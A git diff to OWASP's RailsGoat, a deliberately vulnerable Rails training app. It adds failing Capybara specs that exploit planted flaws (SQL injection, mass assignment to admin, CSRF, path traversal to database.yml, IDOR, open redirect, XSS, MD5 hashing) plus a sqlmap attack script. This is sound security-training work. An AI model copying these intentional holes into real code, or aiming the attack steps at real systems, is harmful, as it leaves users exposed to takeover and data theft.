diff --git a/.rspec b/.rspec index 4e1e0d2..9fc14ad 100644 --- a/.rspec +++ b/.rspec @@ -1 +1,2 @@ --color +--backtrace \ No newline at end of file diff --git a/.travis.yml b/.travis.yml index 8c734ac..4ae7691 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,4 +1,5 @@ language: ruby rvm: - "1.9.3" -before_script: rake db:migrate +before_script: rake db:setup +env: RAILSGOAT_MAINTAINER=true \ No newline at end of file diff --git a/Gemfile b/Gemfile index b175ad7..253dec3 100755 --- a/Gemfile +++ b/Gemfile @@ -25,8 +25,9 @@ end gem 'gauntlt' group :development, :test do + gem 'launchy' gem 'capybara' - gem 'database_cleaner' + gem 'database_cleaner', '< 1.1.0' gem 'poltergeist' gem 'rspec-rails' end diff --git a/Gemfile.lock b/Gemfile.lock index dc27f3d..8bf624c 100755 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -28,6 +28,7 @@ GEM activesupport (3.2.13) i18n (= 0.6.1) multi_json (~> 1.0) + addressable (2.3.5) arel (3.0.2) aruba (0.5.3) childprocess (>= 0.3.6) @@ -70,7 +71,7 @@ GEM diff-lcs (>= 1.1.3) gherkin (~> 2.12.0) multi_json (~> 1.3) - database_cleaner (1.1.1) + database_cleaner (1.0.1) diff-lcs (1.2.4) em-websocket (0.5.0) eventmachine (>= 0.12.9) @@ -124,6 +125,8 @@ GEM thor (>= 0.14, < 2.0) json (1.7.7) kgio (2.8.0) + launchy (2.3.0) + addressable (~> 2.3) libv8 (3.16.14.3) listen (0.7.3) lumberjack (1.0.3) @@ -172,7 +175,7 @@ GEM rdoc (~> 3.4) thor (>= 0.14.6, < 2.0) raindrops (0.10.0) - rake (10.0.4) + rake (10.1.0) rb-fsevent (0.9.3) rdoc (3.12.2) json (~> 1.4) @@ -248,7 +251,7 @@ DEPENDENCIES bundler-audit capybara coffee-rails (~> 3.2.1) - database_cleaner + database_cleaner (< 1.1.0) execjs foreman gauntlt @@ -258,6 +261,7 @@ DEPENDENCIES guard-shell jquery-fileupload-rails jquery-rails + launchy poltergeist powder pry diff --git a/README.md b/README.md index 0740350..850287c 100755 --- a/README.md +++ b/README.md @@ -5,13 +5,11 @@ cd railsgoat - rvm use 1.9.3@railsgoat --create + rvm use 1.9.3@railsgoat --create # https://rvm.io/ bundle - rake db:create - - rake db:migrate + rake db:setup rails s @@ -19,7 +17,24 @@ Start hacking!!! +### Running Capybara Tests ### + +RailsGoat now includes a set of _failing_ Capybara RSpecs, each one indicating a separate vulnerability exists +in the application. + +To run them, though, you'll first need to [install PhantomJS](https://github.com/jonleighton/poltergeist#installing-phantomjs), +which is required by the Poltergeist Capybara driver. Then just rake: + + rake training + +NOTE: As vulnerabilities are fixed in the application, these specs won't change from to passing but to _pending_. + ### Developer Note ### + +As changes are made to the application, the Capybara RSpecs can be used to verify the vulnerabilities +in the application are still intact. To use them in this way, and have them _pass_ instead of fail, +set the `RAILSGOAT_MAINTAINER` environment variable. +

Conversion to the OWASP Top 10, 2013 is under way. @@ -34,6 +49,8 @@ Then proceed with browsing the site as normal :thumbsup: [![Code Climate](https://codeclimate.com/github/OWASP/railsgoat.png)](https://codeclimate.com/github/OWASP/railsgoat) +[![Build Status](https://travis-ci.org/mccabe615/railsgoat.png?branch=master)](https://travis-ci.org/mccabe615/railsgoat) + ### License Stuff ### The MIT License (MIT) diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb index d5ae600..e7f1684 100755 --- a/app/controllers/users_controller.rb +++ b/app/controllers/users_controller.rb @@ -1,12 +1,12 @@ class UsersController < ApplicationController - + skip_before_filter :has_info skip_before_filter :authenticated, :only => [:new, :create] - + def new @user = User.new end - + def create user = User.new(params[:user]) user.build_benefits_data @@ -15,32 +15,41 @@ class UsersController < ApplicationController redirect_to home_dashboard_index_path else @user = user - render :new + flash[:error] = user.errors.full_messages.to_sentence + redirect_to :sign_up end end - + def account_settings @user = current_user end - + def update message = false #Safest # user = current_user - + # Still an Insecure DoR vulnerability #user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"]) - + user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'") - user.skip_user_id_assign = true - user.update_attributes(params[:user].reject { |k| %w(password password_confirmation user_id).include? k }) - pass = params[:user][:password] - user.password = pass if !(pass.blank?) - message = true if user.save! - respond_to do |format| - format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) } - format.json { render :json => {:msg => message ? "success" : "false "} } + if user + user.skip_user_id_assign = true + user.skip_hash_password = true + user.update_attributes(params[:user].reject { |k| %w(password password_confirmation user_id).include? k }) + if !(params[:user][:password].empty?) && (params[:user][:password] == params[:user][:password_confirmation]) + user.skip_hash_password = false + user.password = params[:user][:password] + end + message = true if user.save! + respond_to do |format| + format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) } + format.json { render :json => {:msg => message ? "success" : "false "} } + end + else + flash[:error] = "Could not update user!" + redirect_to user_account_settings_path(:user_id => current_user.user_id) end end - -end + +end \ No newline at end of file diff --git a/app/models/user.rb b/app/models/user.rb index a1d8b72..7f98938 100755 --- a/app/models/user.rb +++ b/app/models/user.rb @@ -1,15 +1,16 @@ class User < ActiveRecord::Base - attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name - validates_confirmation_of :password, :password_confirmation, :on => :create + attr_accessible :email, :admin, :first_name, :last_name, :user_id, :password, :password_confirmation validates :password, :presence => true, :confirmation => true, :length => {:within => 6..40}, - :on => :create#, + :on => :create, + :if => :password#, #:format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/} validates_presence_of :email validates_uniqueness_of :email validates_format_of :email, :with => /.+@.+\..+/i attr_accessor :skip_user_id_assign + attr_accessor :skip_hash_password before_save :assign_user_id, :on => :create before_save :hash_password has_one :retirement, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy @@ -18,6 +19,7 @@ class User < ActiveRecord::Base has_many :performance, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy + def build_benefits_data build_retirement(POPULATE_RETIREMENTS.shuffle.first) build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first) @@ -41,7 +43,7 @@ class User < ActiveRecord::Base raise "Incorrect Password!" end return auth - end + end =begin # More secure version, still lacking a decent hashing routine, this is for timing attack prevention @@ -66,8 +68,10 @@ class User < ActiveRecord::Base end def hash_password - if self.password.present? - self.password = Digest::MD5.hexdigest(password) + unless @skip_hash_password == true + if password.present? + self.password = Digest::MD5.hexdigest(password) + end end end diff --git a/db/seeds.rb b/db/seeds.rb index 9750d82..13cd4ae 100755 --- a/db/seeds.rb +++ b/db/seeds.rb @@ -7,6 +7,7 @@ users = [ :email => "admin@metacorp.com", :admin => true, :password => "admin1234", + :password_confirmation => "admin1234", :first_name => "Admin", :last_name => "", :user_id =>1 @@ -15,6 +16,7 @@ users = [ :email => "jack@metacorp.com", :admin => false, :password => "yankeessuck", + :password_confirmation => "yankeessuck", :first_name => "Jack", :last_name => "Mannino", :user_id => 2 @@ -23,6 +25,7 @@ users = [ :email => "jim@metacorp.com", :admin => false, :password => "alohaowasp", + :password_confirmation => "alohaowasp", :first_name => "Jim", :last_name => "Manico", :user_id =>3 @@ -31,6 +34,7 @@ users = [ :email => "mike@metacorp.com", :admin => false, :password => "motorcross1445", + :password_confirmation => "motorcross1445", :first_name => "Mike", :last_name => "McCabe", :user_id =>4 @@ -39,6 +43,7 @@ users = [ :email => "ken@metacorp.com", :admin => false, :password => "citrusblend", + :password_confirmation => "citrusblend", :first_name => "Ken", :last_name => "Johnson", :user_id =>5 @@ -233,7 +238,7 @@ paid_time_off = [ users.each do |user_info| - user = User.new(user_info.reject {|k| k == :user_id}) + user = User.new(user_info.reject {|k| k == :user_id }) user.user_id = user_info[:user_id] user.save end diff --git a/gauntlt_scripts/sqlmap.attack b/gauntlt_scripts/sqlmap.attack new file mode 100644 index 0000000..f766c61 --- /dev/null +++ b/gauntlt_scripts/sqlmap.attack @@ -0,0 +1,17 @@ +#sqlmap.attack +Feature: Run sqlmap against a target + # See: + # https://github.com/sqlmapproject/sqlmap/wiki/Usage + + Scenario: Identify SQL injection vulnerabilities + Given "sqlmap" is installed + And the following profile: + | target_url | http://localhost:300/| + When I launch a "sqlmap" attack with: + """ + /usr/bin/python -u --dbms sqlite + """ + Then the output should contain: + """ + sqlmap identified the following injection points + """ \ No newline at end of file diff --git a/lib/tasks/traning.rake b/lib/tasks/traning.rake new file mode 100644 index 0000000..2a40c39 --- /dev/null +++ b/lib/tasks/traning.rake @@ -0,0 +1,4 @@ +desc 'run training tests' +task :training do + Rake::Task["spec:vulnerabilities"].invoke +end \ No newline at end of file diff --git a/spec/models/benefits_spec.rb b/spec/models/benefits_spec.rb deleted file mode 100644 index f8ec369..0000000 --- a/spec/models/benefits_spec.rb +++ /dev/null @@ -1 +0,0 @@ -require 'spec_helper' diff --git a/spec/models/paid_time_off_spec.rb b/spec/models/paid_time_off_spec.rb deleted file mode 100644 index 2dba717..0000000 --- a/spec/models/paid_time_off_spec.rb +++ /dev/null @@ -1,14 +0,0 @@ -require 'spec_helper.rb' -=begin -describe "PaidTimeOff" do - user = User.new( - first_name: 'Tester', - last_name: 'MGee', - email: 'tester.mgee@gmail.com', - password: 'password', - password_confirmation: 'password' - ) - expect(user).to be_valid -end - -=end \ No newline at end of file diff --git a/spec/models/user_spec.rb b/spec/models/user_spec.rb index 759d850..d521142 100644 --- a/spec/models/user_spec.rb +++ b/spec/models/user_spec.rb @@ -1,6 +1,15 @@ require 'spec_helper.rb' describe User do + before(:all) do + UserFixture.reset_all_users + DatabaseCleaner.strategy = :transaction + end + + after(:all) do + DatabaseCleaner.strategy = :truncation + end + it "can be instantiated" do User.new.should be_an_instance_of(User) end @@ -10,7 +19,7 @@ describe User do end it "should require valid email" do - User.new(:email => "tester@gmail.com@gmail.com").should_not be_valid + User.new(:email => "@gmail.com").should_not be_valid end it "should require unique email" do diff --git a/spec/support/capybara_shared.rb b/spec/support/capybara_shared.rb index aeeb960..2f982f9 100644 --- a/spec/support/capybara_shared.rb +++ b/spec/support/capybara_shared.rb @@ -1,3 +1,40 @@ +# By default this will return true, and thus all of the Capybara specs will +# fail until a developer using the site for training has patched up all of +# the vulnerabilities. +# +# However, RailsGoat maintainers need the Capybara features to pass to indicate +# changes to the site have not inadvertently removed or fixed any vulnerabilities +# since the whole point is to provide a site for a developer to fix. +@@displayed_spec_notice = false + +def verifying_fixed? + maintainer_env_name = 'RAILSGOAT_MAINTAINER' + result = !ENV[maintainer_env_name] + if !@@displayed_spec_notice && result + puts <<-NOTICE + +****************************************************************************** + You are running the RailsGoat Capybara Specs in Training mode. These specs + are supposed to fail, indicating vulnerabilities exist. They contain + spoilers, so do not read the code in spec/vulnerabilities if your goal is to + learn more about patching the vulnerabilities. You should fix the + vulnerabilities in the application in order to get these specs to pass**. + You can use them to measure your progress. + + These same specs will pass if you set the #{maintainer_env_name} ENV + variable. + + **NOTE: The RSpec pending feature is used to toggle the outcome of these + specs between Training mode and RailsGoat Maintainer mode, so when the + vulnerabilities are removed, these specs actually won't 'pass' but go into + a 'pending' state. +****************************************************************************** + NOTICE + @@displayed_spec_notice = true + end + result +end + def login(user) visit '/' within('.signup') do diff --git a/spec/features/broken_auth_spec.rb b/spec/vulnerabilities/broken_auth_spec.rb similarity index 64% rename from spec/features/broken_auth_spec.rb rename to spec/vulnerabilities/broken_auth_spec.rb index d1f7e6e..e3548a6 100644 --- a/spec/features/broken_auth_spec.rb +++ b/spec/vulnerabilities/broken_auth_spec.rb @@ -6,20 +6,23 @@ feature 'broken_auth' do @normal_user = UserFixture.normal_user end - scenario 'TMI during login', :js => true do + scenario 'one' do visit '/' within('.signup') do fill_in 'email', :with => @normal_user.email + 'not' fill_in 'password', :with => @normal_user.clear_password end click_on 'Login' - find('div#flash_notice').text.should == "#{@normal_user.email}not doesn't exist!" + pending(:if => verifying_fixed?) { find('div#flash_notice').text.should == "#{@normal_user.email}not doesn't exist!" } + end + scenario 'two' do + visit '/' within('.signup') do fill_in 'email', :with => @normal_user.email fill_in 'password', :with => @normal_user.clear_password + 'not' end click_on 'Login' - find('div#flash_notice').text.should == 'Incorrect Password!' + pending(:if => verifying_fixed?) { find('div#flash_notice').text.should == 'Incorrect Password!' } end end \ No newline at end of file diff --git a/spec/features/command_injection_spec.rb b/spec/vulnerabilities/command_injection_spec.rb similarity index 75% rename from spec/features/command_injection_spec.rb rename to spec/vulnerabilities/command_injection_spec.rb index e1ef311..9b4ad85 100644 --- a/spec/features/command_injection_spec.rb +++ b/spec/vulnerabilities/command_injection_spec.rb @@ -7,8 +7,8 @@ feature 'command injection' do @normal_user = UserFixture.normal_user end - scenario 'injection attack on file upload', :js => true do - login(@normal_user) + scenario 'attack', :js => true do + login @normal_user legit_file = File.join(Rails.root, 'public', 'data', 'legit.txt') File.open(legit_file, 'w') { |f| f.puts 'totes legit' } @@ -21,10 +21,8 @@ feature 'command injection' do attach_file 'benefits_upload', hackety_file find(:xpath, "//input[@id='benefits_backup']", :visible => false).set 'true' end - save_screenshot('screenshot.before.upload.png') click_on 'Start Upload' end - save_screenshot('screenshot.after.upload.png') - File.exists?(legit_file).should be_false + pending(:if => verifying_fixed?) { File.exists?(legit_file).should be_false } end end \ No newline at end of file diff --git a/spec/vulnerabilities/csrf_spec.rb b/spec/vulnerabilities/csrf_spec.rb new file mode 100644 index 0000000..8301a48 --- /dev/null +++ b/spec/vulnerabilities/csrf_spec.rb @@ -0,0 +1,44 @@ +require 'spec_helper' +require 'tmpdir' + +feature 'csrf' do + before do + UserFixture.reset_all_users + @normal_user = UserFixture.normal_user + end + + scenario 'attack', :js => true do + visit '/' + # TODO: is there a way to get this without visiting root first? + base_url = current_url + + login @normal_user + + Dir.mktmpdir do |dir| + hackety_file = File.join(dir, 'form.on.bad.guy.site.html') + post_url = "#{base_url}schedule.json" + File.open(hackety_file, 'w') do |f| + f.print <<-HTML + + +

+ + + + + +
+ + + HTML + end + + page.driver.visit "file://#{hackety_file}" + within('#submit_me') do + click_on 'Submit request' + end + end + + pending(:if => verifying_fixed?) { @normal_user.reload.paid_time_off.schedule.last.event_name.should == 'Bad Guy' } + end +end \ No newline at end of file diff --git a/spec/vulnerabilities/info_disclosure_spec.rb b/spec/vulnerabilities/info_disclosure_spec.rb new file mode 100644 index 0000000..ce0bd2a --- /dev/null +++ b/spec/vulnerabilities/info_disclosure_spec.rb @@ -0,0 +1,18 @@ +require 'spec_helper' + +feature 'sensitive information disclosure' do + before do + UserFixture.reset_all_users + @normal_user = UserFixture.normal_user + @normal_user.work_info.update_attribute(:SSN, '999-99-9999') + end + + # this won't work with javascript_driver, as it'll apply the javascript + # function to mask this value and the source will be overwritten. + scenario 'attack' do + login @normal_user + + visit "/users/#{@normal_user.user_id}/work_info" + pending(:if => verifying_fixed?) { page.source.should include '999-99-9999' } + end +end \ No newline at end of file diff --git a/spec/features/insecure_dor_spec.rb b/spec/vulnerabilities/insecure_dor_spec.rb similarity index 57% rename from spec/features/insecure_dor_spec.rb rename to spec/vulnerabilities/insecure_dor_spec.rb index b0ac570..aada5eb 100644 --- a/spec/features/insecure_dor_spec.rb +++ b/spec/vulnerabilities/insecure_dor_spec.rb @@ -6,24 +6,26 @@ feature 'insecure direct object reference' do @normal_user = UserFixture.normal_user end - scenario 'download production configuration' do + scenario 'attack one' do login(@normal_user) visit "/users/#{@normal_user.user_id}/benefit_forms" download_url = first('.widget-body a')[:href] visit download_url.sub(/name=(.*?)&/, 'name=../../config/database.yml&') - page.status_code.should == 200 - page.response_headers['Content-Disposition'].should include('database.yml') - page.response_headers['Content-Length'].should == '576' + pending(:if => verifying_fixed?) { + page.status_code.should == 200 + page.response_headers['Content-Disposition'].should include('database.yml') + page.response_headers['Content-Length'].should == '576' + } end - scenario 'view any user work_info' do + scenario 'attack two' do login(@normal_user) @normal_user.user_id.should_not == 2 visit '/users/2/work_info' - first('td').text.should == 'Jack Mannino' + pending(:if => verifying_fixed?) { first('td').text.should == 'Jack Mannino' } end end \ No newline at end of file diff --git a/spec/vulnerabilities/mass_assignment_spec.rb b/spec/vulnerabilities/mass_assignment_spec.rb new file mode 100644 index 0000000..51dbc44 --- /dev/null +++ b/spec/vulnerabilities/mass_assignment_spec.rb @@ -0,0 +1,37 @@ +require 'spec_helper' + +feature 'mass assignment' do + before do + UserFixture.reset_all_users + @normal_user = UserFixture.normal_user + end + + scenario 'attack one' do + @normal_user.admin.should be_false + + login(@normal_user) + + params = {:user => {:admin => 't', + :user_id => @normal_user.user_id, + :password => @normal_user.clear_password, + :password_confirmation => @normal_user.clear_password}} + page.driver.put "/users/#{@normal_user.user_id}.json", params + + pending(:if => verifying_fixed?) { @normal_user.reload.admin.should be_true } + end + + scenario 'attack two' do + params = {:user => {:admin => 't', + :email => 'hackety@h4x0rs.c0m', + :first_name => 'hackety', + :last_name => 'hax', + :password => 'foobarewe', + :password_confirmation => 'foobarewe'}} + page.driver.post '/users', params + + pending(:if => verifying_fixed?) { + User.last.email.should == 'hackety@h4x0rs.c0m' + User.last.admin.should be_true + } + end +end diff --git a/spec/vulnerabilities/password_complexity_spec.rb b/spec/vulnerabilities/password_complexity_spec.rb new file mode 100644 index 0000000..a92bcbd --- /dev/null +++ b/spec/vulnerabilities/password_complexity_spec.rb @@ -0,0 +1,21 @@ +require 'spec_helper' + +feature 'password complexity' do + before do + UserFixture.reset_all_users + @normal_user = UserFixture.normal_user + end + + scenario 'one' do + visit '/signup' + within('.signup') do + fill_in 'user_email', :with => @normal_user.email + 'not' + fill_in 'user_first_name', :with => @normal_user.first_name + fill_in 'user_last_name', :with => @normal_user.last_name + 'not' + fill_in 'user_password', :with => 'password' + fill_in 'user_password_confirmation', :with => 'password' + end + click_on 'Submit' + pending(:if => verifying_fixed?) {current_path.should == '/dashboard/home'} + end +end \ No newline at end of file diff --git a/spec/vulnerabilities/password_hashing_spec.rb b/spec/vulnerabilities/password_hashing_spec.rb new file mode 100644 index 0000000..077a352 --- /dev/null +++ b/spec/vulnerabilities/password_hashing_spec.rb @@ -0,0 +1,25 @@ +require 'spec_helper' + +feature 'improper password hashing' do + before do + UserFixture.reset_all_users + @normal_user = UserFixture.normal_user + end + + scenario 'with just md5' do + new_pass = 'testpassword' + @normal_user.password = new_pass + @normal_user.password_confirmation = new_pass + @normal_user.save + pending(:if => verifying_fixed?) {Digest::MD5.hexdigest(new_pass).should == @normal_user.password} + end + + scenario 'with md5 and salt' do + pending unless @normal_user.has_attribute?('salt') + new_pass = 'testpassword' + @normal_user.password = new_pass + @normal_user.password_confirmation = new_pass + @normal_user.save + pending(:if => verifying_fixed?) {Digest::MD5.hexdigest(@normal_user.salt + new_pass).should == @normal_user.password} + end +end \ No newline at end of file diff --git a/spec/features/sql_injection_spec.rb b/spec/vulnerabilities/sql_injection_spec.rb similarity index 77% rename from spec/features/sql_injection_spec.rb rename to spec/vulnerabilities/sql_injection_spec.rb index 9553fc4..15ebdfd 100644 --- a/spec/features/sql_injection_spec.rb +++ b/spec/vulnerabilities/sql_injection_spec.rb @@ -7,7 +7,7 @@ feature 'sql injection' do @admin_user = User.where("admin='t'").first end - scenario 'injection attack on account_settings' do + scenario 'attack' do @admin_user.admin.should be_true login(@normal_user) @@ -23,8 +23,10 @@ feature 'sql injection' do end click_on 'Submit' - @admin_user = User.where("admin='t'").first - @admin_user.email.should == 'joe.admin@schmoe.com' - @admin_user.admin.should == true + pending(:if => verifying_fixed?) { + @admin_user = User.where("admin='t'").first + @admin_user.email.should == 'joe.admin@schmoe.com' + @admin_user.admin.should == true + } end end \ No newline at end of file diff --git a/spec/vulnerabilities/unvalidated_redirects_spec.rb b/spec/vulnerabilities/unvalidated_redirects_spec.rb new file mode 100644 index 0000000..82cdc47 --- /dev/null +++ b/spec/vulnerabilities/unvalidated_redirects_spec.rb @@ -0,0 +1,19 @@ +require 'spec_helper' + +feature 'unvalidated redirect' do + before do + UserFixture.reset_all_users + @normal_user = UserFixture.normal_user + end + + scenario 'attack', :js => true do + visit '/?url=http://example.com/do/evil/things' + within('.signup') do + fill_in 'email', :with => @normal_user.email + fill_in 'password', :with => @normal_user.clear_password + end + click_on 'Login' + + pending(:if => verifying_fixed?) { current_url.should == 'http://example.com/do/evil/things' } + end +end \ No newline at end of file diff --git a/spec/vulnerabilities/url_access_spec.rb b/spec/vulnerabilities/url_access_spec.rb new file mode 100644 index 0000000..6d71ebe --- /dev/null +++ b/spec/vulnerabilities/url_access_spec.rb @@ -0,0 +1,15 @@ +require 'spec_helper' + +feature 'url access' do + before do + UserFixture.reset_all_users + @normal_user = UserFixture.normal_user + end + + scenario 'attack', :js => true do + login @normal_user + + visit '/admin/1/dashboard' + pending(:if => verifying_fixed?) { current_path.should == '/admin/1/dashboard' } + end +end \ No newline at end of file diff --git a/spec/features/xss_spec.rb b/spec/vulnerabilities/xss_spec.rb similarity index 80% rename from spec/features/xss_spec.rb rename to spec/vulnerabilities/xss_spec.rb index a5bea9f..f96148d 100644 --- a/spec/features/xss_spec.rb +++ b/spec/vulnerabilities/xss_spec.rb @@ -6,7 +6,7 @@ feature 'xss' do @normal_user = UserFixture.normal_user end - scenario 'xss attack on account_settings', :js => true do + scenario 'attack', :js => true do login @normal_user visit "/users/#{@normal_user.user_id}/account_settings" @@ -18,11 +18,10 @@ feature 'xss' do fill_in 'user_password_confirmation', :with => @normal_user.clear_password end click_on 'Submit' - save_screenshot('screenshot.post.submit.png') visit '/' - find('form.button_to input.btn.btn-primary').value.should == 'RailsGoat h4x0r3d' + pending(:if => verifying_fixed?) { find('form.button_to input.btn.btn-primary').value.should == 'RailsGoat h4x0r3d' } # might be nice to demonstrate posting cookie contents or somesuch, but # this at least shows the vulnerability still exists.